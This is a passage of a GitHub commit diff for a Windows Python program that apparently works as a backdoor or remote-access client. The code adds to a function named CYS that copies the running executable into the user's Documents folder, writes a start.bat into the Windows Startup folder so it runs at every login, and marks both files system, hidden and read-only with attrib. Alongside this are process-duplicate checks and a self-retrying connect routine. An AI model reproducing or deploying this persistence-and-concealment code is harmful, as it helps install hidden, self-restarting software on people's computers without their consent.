You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
else:runfile=join(dirname(orig_argv[0] if hasattr(sys,"frozen") else __file__),"run.exe")
34
34
environ["exe"]=" ".join([i for i in orig_argv])
35
35
def process_is_double(target:str=None)->int:
36
36
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
37
37
else :target=" ".join([i for i in orig_argv])
38
38
target=target.split(" ")[0]
39
39
process = 0
40
-
if " ".join([i for i in orig_argv]) == target:
40
+
try:
41
+
if " ".join([i for i in orig_argv]) == target:
42
+
for i in process_iter():
43
+
try:
44
+
if i.exe() == target:
45
+
process +=1
46
+
except AccessDenied:pass
47
+
return process
41
48
for i in process_iter():
42
49
try:
43
-
if i.exe() == target:
44
-
process +=1
50
+
if i.exe() == target:process +=1
45
51
except AccessDenied:pass
46
52
return process
47
-
for i in process_iter():
48
-
try:
49
-
if i.exe() == target:process +=1
50
-
except AccessDenied:pass
51
-
return process
53
+
except NoSuchProcess:return 0
52
54
def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter())
53
55
def split(target:str,tstr:str)->str:
54
56
new_chars=[]
@@ -67,12 +69,14 @@ def connect()->None:
67
69
except gaierror:connect()
68
70
except OSError:connect()
69
71
def CYS()->None:
70
-
copyfile(" ".join([i for i in orig_argv]),(r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]))).format(environ.get("username")))
71
-
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file:
72
+
if exists(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username"))):run("attrib -s -h -r \"{}\"".format(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username"))))
73
+
if exists("C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(orig_argv[0] if hasattr(sys,"frozen") else __file__)):run("attrib -s -h -r \"C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(orig_argv[0] if hasattr(sys,"frozen") else __file__)+"\"")
74
+
run("copy /B /V /Y \"{}\" \"{}\"".format(orig_argv[0] if hasattr(sys,"frozen") else __file__,r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]))).format(environ.get("username")))
75
+
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "wt") as file:
72
76
file.write("""@Echo off
73
-
start C:\\Users\\{0}\\Documents\\{1}
77
+
start C:\\Users\\{}\\Documents\\{}
74
78
exit""".format(environ.get("username"), basename(" ".join([i for i in orig_argv]))))
75
-
run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(" ".join([i for i in orig_argv])))
79
+
run("attrib +s +h +r \"C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(" ".join([i for i in orig_argv]))+"\"")
0 commit comments